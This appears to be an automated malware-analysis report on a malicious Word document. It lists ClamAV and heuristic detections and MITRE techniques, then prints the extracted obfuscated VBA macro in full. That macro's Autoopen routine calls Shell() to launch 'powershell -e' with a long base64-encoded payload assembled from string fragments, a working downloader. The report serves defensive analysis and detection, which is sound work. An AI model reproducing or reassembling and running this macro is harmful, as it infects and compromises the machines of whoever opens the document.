MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1059 Command and Scripting Interpreter
The sample is a malicious Office document containing a VBA macro with an Autoopen subroutine. This macro utilizes the Shell() function to execute a command, likely for downloading and executing a second-stage payload. The ClamAV detection name 'Doc.Downloader.Valyria-6595163-0' further supports its role as a downloader.
Heuristics 7
-
ClamAV: Doc.Downloader.Valyria-6595163-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Valyria-6595163-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBAMatched line in script
jNCOw = hLzbK idABiDi = oFqHAHbXS + Shell(MtniSawpauv + Chr(SLVjIFuf + vbKeyP + FLqEmW) + "owers" + sLMDBWsAt + kNiSTMjU + bPDRPCHCDHE + oSnsHHRV + noXtpi, 83444 - 83444) hAVjH = CLng(12105 * CSng(bDswj + ChrB(XWJWf + CInt(24175)))) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub Autoopen() On Error Resume Next -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10701 bytes |
SHA-256: 9074a4a4f2dbb426943070cc34c38fbd567bc9c3b9242be8a744b227d9162558 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "djzcjasQD" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function idABiDi() On Error Resume Next zWJSU = CLng(59606 * CSng(NuQfM + ChrB(JcNawH + CInt(93657)))) ZdDMl = Int(whFMYY) TstLaj = dKEXfS iFCHo = GYtGFj QfpEHn = pjUPV EbPYfh = jRcDE ibvzmF = CLng(83390 * CSng(bwUAQr + ChrB(Xuknm + CInt(25305)))) iIVaXQ = Int(wClzX) dukhJ = jccuYP FIWrQS = nwmiM aodwjA = hjdKDd jNCOw = hLzbK idABiDi = oFqHAHbXS + Shell(MtniSawpauv + Chr(SLVjIFuf + vbKeyP + FLqEmW) + "owers" + sLMDBWsAt + kNiSTMjU + bPDRPCHCDHE + oSnsHHRV + noXtpi, 83444 - 83444) hAVjH = CLng(12105 * CSng(bDswj + ChrB(XWJWf + CInt(24175)))) mKqauX = Int(BAPqCm) TrLCV = iBEoO CYoYo = OViWK mjYTbo = wuzEf UJIFkG = LYVIN End Function Sub Autoopen() On Error Resume Next aYnQiw = CLng(63703 * CSng(PlfOa + ChrB(mRbEU + CInt(17197)))) UIGQzQ = Int(jOOPG) NdJiTH = jEYdrK PtwQoE = GPjzj YjBWPI = DJIzlM uQkdY = atpSwb idABiDi wGNci = CLng(73219 * CSng(ZADBNi + ChrB(mFlwib + CInt(87278)))) qiDat = Int(iqiYn) cwwfT = lluNjP DooDTT = IrQiZ sWvJU = acHpJG iqIMdv = kqQqnO End Sub Attribute VB_Name = "nzkjNGQ" Function sLMDBWsAt() On Error Resume Next khvfj = CLng(113 * CSng(jjHGFc + ChrB(OfOPE + CInt(88014)))) kqhUO = Int(zWBoML) TwjuW = zZKvZQ CoaIVt = MzrOK BkKfT = uXkQvU WujauH = mvJvt wjJjiv = "HeLL -e" + " IAAuACAAK" + "AAgACQAZQBu" + "AF" + "YAOgBDAE8ATQBz" SzsUG = CLng(39453 * CSng(EjPPfb + ChrB(WESXio + CInt(54757)))) SjYwG = Int(fFaOl) auiQK = kopiRv ciidm = EqvjM JNiYap = taEbZ NDDni = OddiXz rHsJO = "AHAARQBjAF" + "sANAA" + "sADEANQAsADIA" + "NQBdAC0A" + "agBvAGkAbgAnA" + "CcAKQAgACgAbgBF" + "AH" + "cALQBvAEIASgBFA" + "EMAdAAgACA" + "AaQBPAC4AYw" owhLfO = CLng(33930 * CSng(ANGQO + ChrB(PCtXHI + CInt(51599)))) NACNt = Int(SjiHbw) ELPZN = hMpzX wzajH = oBPjj SUTCT = zoQoLq wuAtLY = itvwr wLDAWhndL = "BPAG0" + "AcAByAGUAcwBzA" + "EkAbw" + "Bu" brnwlV = CLng(59611 * CSng(Hsoft + ChrB(wjDJn + CInt(69429)))) IVnID = Int(diYZU) WDHBU = qLXrC NSNEv = mLHqSW nhKBcj = TVWHr iFzYiR = bvlwZ zFzPRwAtpsm = "AC4AZAB" + "lAEYATABhA" + "FQARQBzAFQAc" + "gBFAG" + "EAbQAoACA" + "AWwBzAHkAcwB" hnJCfk = CLng(70848 * CSng(hWfKu + ChrB(itrvG + CInt(24919)))) IhNjI = Int(DYrvN) uBjJSq = GfBiR nJjiD = qMUZGv Xjhip = RjAGCj FjGiG = wVUqTp UFLrHpZMaA = "0AE" + "UA" + "TQAuAE" + "kATwAu" + "AG0ARQBNAG8AU" + "gBZAHMAdABS" + "AGUAYQBN" GXOacZ = CLng(26473 * CSng(TnZBMH + ChrB(imDjwf + CInt(69342)))) GlSHz = Int(CsNoCU) UaddVZ = whhuqw inmrIW = IoJSN QuLNK = FKMZDd zKYDY = DHUFa CWGTbYPJ = "AF0AWwBjAE8" + "AbgB2AGUA" + "cgB0AF0" + "AOg" + "A6AGYAUgB" + "vAE0AYgBBAFMA" + "RQA2AD" + "QAUwBUAFIAa" + "QBuAEcAKAAgA" tziMlT = CLng(20221 * CSng(XVCVU + ChrB(DqjWNi + CInt(26376)))) YEjll = Int(Ktwok) Qpawa = tVicI inNMb = ssjrZa AiIzdY = kEUNQ vHpsTv = jCzozR sPChrDYd = "CcAV" + "gBWAEIAaAB" + "TADgATQ" + "B3AEYA" + "UAB" + "3A" + "HI" + "AKwBWAEQAbw" + "BoAGkAN" sLMDBWsAt = wjJjiv + rHsJO + wLDAWhndL + zFzPRwAtpsm + UFLrHpZMaA + CWGTbYPJ + sPChrDYd End Function Function kNiSTMjU() On Error Resume Next wsjYQA = CLng(42106 * CSng(XkYED + ChrB(SiTzwu + CInt(3884)))) CrXddv = Int(kUzMaR) YvzQLW = ETPsBO doBXw = ppBnW cmQYs = daGYCf fAwXIl = hZHfwo JWwWiZLB = "QB4AE8AawBWA" + "FgAQgBKADEAT" + "wB" + "jAEc" + "Aeg" + "BWAFcAVgBFA" + "FUAbwBh" + "AFQ" FCiuKu = CLng(72790 * CSng(znvXOY + ChrB(SEmVpQ + CInt(23251)))) RtBtsD = Int(lZEzXX) irlwm = KckWE GCscwN = KRAIAt SCVTOA = uaukt JhpIfp = wctwFm vizsmsUXb = "AeABiA" + "GMAMgBXAEoAaQ" + "BWADUAMgB" + "zADIAeAAvADIAN" + "ABzADMAYw" NGdjkC = CLng(91784 * CSng(IGRHDd + ChrB(czsFi + CInt(68463)))) bsdLvu = Int(JYNcVC) wLAqiZ = jqXlV AvEzDv = ilFZHB whEfha = jmrPA EsCGZ = JoOTNY poozOpvZGM = "BBAHYARAA5" + "ADYA" + "NwB1ADMA" + "ZgBIAEI" + "AWgBQAFI" TJLFbi = CLng(63501 * CSng(aBmrDu + ChrB(UINkD + CInt(70937)))) mizzhr = Int(kOqGH) NUhQj = firQO fwUFG = VpoXcF BpYpnv = wnzzbz jFzvS = iBulfH EKJdNcRJimj = "ASgBM" + "ADQAbQBsAD" + "AAUgBEADEAV" + "ABI" lRSqs = CLng(52900 * CSng(fiHpEU + ChrB(YszVdI + CInt(46652)))) kocKUz = Int(umJfhz) VIHAJZ = wKqzI JwQCw = zjdOiH fjUfYm = tXpNdz fmilMM = pzWHjs bPHVJcfJiua = "AFoAQQBnAFEAUw" + "B5AC8A" + "VwBuAEsAYQB" + "MAGcAVw" + "BmA" + "HkATQBZAHYAVQ" wruYs = CLng(35310 * CSng(WdiRLi + ChrB(mHCZz + CInt(81844)))) uzcVv = Int(qlwYsu) vfvokh = JIzTA fDqThj = jEsRD TDkfGZ = BRHLN SlKlzJ = OSnui CbicQz = "BmAFM" + "AOQBZAE8Ab" + "wB" + "hA" + "EEAeABJAEgA" + "MgBGADcARQBaAEo" + "AM" + "ABCAGcARgBzACs" + "AdwBuAGs" + "AWQArAGUA" Lswqnd = CLng(72810 * CSng(NCYdtu + ChrB(fOviFs + CInt(28787)))) WSsIi = Int(AQqAPN) FaTib = EilIG liErQ = zwbZY VDCNmi = ijKaob dpKhlJ = swBwYZ tNlPhK = "RwBlAGEA" + "SQBaAFoAKwB4" + "AGcAaQBQAG0" + "AVQBHAF" + "gAYwBLAG" + "wAaABUAFk" + "AUQ" + "BwAG0AegBzAGYA" RQwfBZ = CLng(23777 * CSng(zqwCj + ChrB(ibHPPT + CInt(91543)))) ltoPH = Int(HBQNIA) PMvnC = FqTlic KUthJ = fJfEq RjQwaj = fPTPMb jqRSI = mzSmH usUJwrwFN = "dgArAHAANQ" + "Bk" + "AE4AU" + "QBRADAASgBZAE" kNiSTMjU = JWwWiZLB + vizsmsUXb + poozOpvZGM + EKJdNcRJimj + bPHVJcfJiua + CbicQz + tNlPhK + usUJwrwFN End Function Function bPDRPCHCDHE() On Error Resume Next ECUCkH = CLng(8204 * CSng(kAost + ChrB(owvrF + CInt(64120)))) wXpsN = Int(kzURiq) fsKMiI = ZciBZ GRpCb = aiHifK KTCQj = CDWwm IzZfTp = SopSJS OHXMz = "sAMQBuAE4Abw" + "B2AE4AaABx" + "ADcANQBmAFIA" + "aQB" + "EAHkAMQBuAF" zPMXNf = CLng(4447 * CSng(zoXMw + ChrB(XVkVDT + CInt(35524)))) Bwnpqs = Int(VAtztN) rwiGfz = kIHqz TFzFwX = ONjYp cbodO = dliln nViQqj = szOPDn vBTuscrjKl = "MAcwA2AGcAR" + "gBuAEYAWABhAHM" + "AQgBVADEARAB" + "iAE0AMQB" + "kADUAcABCAF" + "IAbgByAHA" + "AVQBmAHAA" + "eQBkAEYASgA5AD" + "QASwA5AGwAT" + "wBWADAAcwBOA" VzYdPK = CLng(32782 * CSng(UYwis + ChrB(UJpUJI + CInt(20880)))) fzXDY = Int(NNMkqQ) iMAVdj = AKUMn YnZut = nSUbGL UIHLLn = zpzpwj sCUcKQ = XaoSr pwVNaHwzaZi = "GYATwArAF" + "oAdwB" + "qADUAUQBYA" + "DcARwBxAGg" + "ANABm" + "ADMAVgBjAGMAUwB" + "1ADEAcgBIADgA" + "TwBDADQAeQBIAFo" + "AeQB5AGsA" cRKlu = CLng(19600 * CSng(LJtwJY + ChrB(Pjpkv + CInt(24669)))) vQzwv = Int(bwiStU) AifLuo = QiIWTm uokEW = IhAKnw QObaE = wKjDdp XmMHd = IpjHzO kYtQwvaHP = "UwBhAGsAawB0AH" + "MASwB" + "yAHMAQgAwA" + "EYAVQAx" + "AGYA" + "RgA5AHoANQAv" + "AFUATgBkAEIA" pTThU = CLng(47846 * CSng(ZYBGiR + ChrB(qvOkGO + CInt(29318)))) WUshI = Int(ZkHdMh) drzjEt = zkFZMA uSXrz = iwwom GAoud = kiNDP BViGm = TVHWi aMatja = "TgB" + "hAHkAdwAxA" + "FQAMABr" + "AHgAOQAzAGUAYw" + "BlAC8AV" + "QA0AH" + "cAOQB2AEwA" + "MAAvA" + "FYANABv" + "AD" jmMYQ = CLng(62638 * CSng(KwonjL + ChrB(cDbVFq + CInt(5489)))) piabK = Int(VRJjWV) qJLNj = EENiB wmPtlR = POziwo JpfiD = pfmuP ZfwRb = YjNzFY KBzWrirV = "gAQQArAHIAdg" + "B2" + "AFUANQBUAGsA" + "ZwBJ" + "AFEA" + "ZgBvAFoAK" + "wBOADEAcQA4A" + "FUAVgBoAEIAR" + "wBNADIATwB" bPDRPCHCDHE = OHXMz + vBTuscrjKl + pwVNaHwzaZi + kYtQwvaHP + aMatja + KBzWrirV End Function Function oSnsHHRV() On Error Resume Next SiGws = CLng(52554 * CSng(ZKCPZ + ChrB(irFQzV + CInt(56944)))) rIRwVm = Int(IILjH) lbiit = CiPdi tRhawz = utaapz onQBq = SasPXi Cbvci = EcVsiL jZFMhlWjp = "CAGkANwB3AF" + "YA" + "RABPADYA" + "UwBoAGIAdwBsAFU" + "AcABPAG0AbgAv" wMOLB = CLng(86988 * CSng(WiOSNn + ChrB(ZSYSD + CInt(28673)))) iTzwvH = Int(uTviqc) FMhNdw = YMdOrj JwaiwX = tQNGm bKSjXL = TFrEZ HJGUj = aPkWV MZXttFMilnH = "AFkARwA3AFgAcg" + "BUADEARQBw" + "AHYA" + "VABh" tERMw = CLng(38612 * CSng(rKHNt + ChrB(rjMLEF + CInt(41858)))) jPGmv = Int(CLYrnz) dGCHJX = hFzvNb XOEjRz = NpLaAq jlQaw = NaKEu YYbPLZ = lizUK ETcOjamqi = "AFcAVgA" + "0AF" + "oAOQAzAF" + "UAcwBHAE8" + "AVABKADkATgB" + "nAGoANwBwAHYATg" + "BVACsASg" + "BJADEAcABPADAA" + "cQBRAFcA" ziQQr = CLng(63560 * CSng(jsBTj + ChrB(QOizE + CInt(99365)))) kbamZA = Int(jFaiR) EzizJ = XlAjW jpIFG = tVYlWI qrjcbS = CcQRj olczju = itKsa JwVpmk = "KwB3ADgAVwBpA" + "FAAQQB1" + "AGQAM" + "AA1AHkAcgB" + "6AE4AT" + "QB0A" + "G8ASw" spwhTc = CLng(43329 * CSng(SbrJY + ChrB(EFDZq + CInt(41855)))) tHsYC = Int(EzzjnB) ZcGvzo = OVJlq jzZpl = FZziD QBRSU = DHvobw bCIKX = HirvFa ijXclwnwt = "BqAGk" + "ATABmAFYARgBZ" + "AGkAZ" + "ABIAEw" + "AagBrAEEAUQ" + "BwAEgAYQA0AE" + "UAbABDAGkATgB" vmwDa = CLng(90042 * CSng(mjnvw + ChrB(PhiOr + CInt(46439)))) hJzwPc = Int(vaYGMs) wQLsO = vWuOMO iZzdD = zamnzo KHLHhj = nQRXW rfLOkj = FBWbv zjCEbUOKVu = "wAGgATwB2A" + "DQASABPAE" + "kAd" + "AB0AHQAZgAn" + "ACkAIAAsACA" + "AWwBJAG8AL" itmMd = CLng(22917 * CSng(QVoKm + ChrB(dKiRIb + CInt(12623)))) pUPXCP = Int(sIkjLi) KBDnL = MVqAc GqXjN = pcpZXp wRYNDb = DZAjOV nOTdP = zJwUYW vQMwAWLjB = "gBDAG8AbQB" + "wAHIAZQBTAFMASQ" + "BvAG4ALgBDAE8" + "AbQ" + "BQAFIAR" + "QBzAHMAaQBPAG" + "4ATQB" + "vAEQARQBd" + "ADoA" + "OgBkAG" WBPkiO = CLng(23089 * CSng(BnInZ + ChrB(AjqqV + CInt(86265)))) BOVwIu = Int(mUDojr) BJPCz = AmaKp uzcFiC = AVntoW kdjkU = hwwXa WjiPoK = SAcJP mwcwt = "UAQwBPAE0AUAB" + "yAEUAcwBTACk" + "AfAAg" + "AE" + "YATwBSAGUAQQBjA" + "GgALQBP" + "AEIAag" lDriN = CLng(31325 * CSng(jfZXFp + ChrB(jIzAFf + CInt(81815)))) uRFzii = Int(THTRL) DqNlGz = qKKJw WKDcD = iEIadO scMRDn = HjRjOw iqjGvA = MtQiQ YJQSlLQOh = "Bl" + "AEMAdAB7ACA" + "AbgBF" + "AHcALQBvAEIA" + "SgBFAEMAdA" + "AgA" + "CAASQBP" + "AC4AUwB0AFIAZ" oSnsHHRV = jZFMhlWjp + MZXttFMilnH + ETcOjamqi + JwVpmk + ijXclwnwt + zjCEbUOKVu + vQMwAWLjB + mwcwt + YJQSlLQOh End Function Function noXtpi() On Error Resume Next ciuQkX = CLng(48588 * CSng(fisGW + ChrB(NpsTN + CInt(8929)))) zNZTh = Int(Tfivn) FBcmBw = ZXDMqz jAWBw = LddQU DJFcwi = TQSlD VVijvB = THhSJh ECwKTzpWmLc = "QBBAE0Acg" + "BlAEEAZABFA" + "HIAKA" + "AgACQAXwAsAFsA" WbcYLR = CLng(9873 * CSng(iTvHil + ChrB(JNPSLa + CInt(90333)))) whPmcw = Int(nSPijr) uamlan = loXzn UDqVYb = jqvfcw jcsvC = VSpjaz VKtsp = zHjbtK KmzuLoG = "dABFAFgAVAAuAEU" + "AbgBDAE8AZ" + "ABpAE" + "4AZwBdADoAOgB" + "BAHMAQ" wHEiH = CLng(17337 * CSng(jiIwbu + ChrB(cBOKvY + CInt(38160)))) VzDpm = Int(zzBwk) sOOKYR = brBzQ rVFVQz = nWmHbR bhhHz = zFOnDl AsiTzm = vftckB ivhsJtXtrM = "wBpAGkAIAApAH0" + "AIAB8ACAARgBP" + "AFIARQBBA" + "EMAa" + "AAtA" + "E8AYgBKAG" + "UAYwB0AHsAIAAkA" + "F8ALgByAEUA" + "YQ" + "BEAFQAbw" HWcHjH = CLng(89774 * CSng(tKuzZu + ChrB(GRRiSk + CInt(90260)))) SHpWav = Int(EXvrsi) jUikEw = ZzMAJ cLFiO = jJAul AGFXE = BCUlwA jwPtHc = QWLtR FzlWub = "BlAG4ARA" + "AoACkAfQAg" + "ACkAIAA=" noXtpi = ECwKTzpWmLc + KmzuLoG + ivhsJtXtrM + FzlWub End Function |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.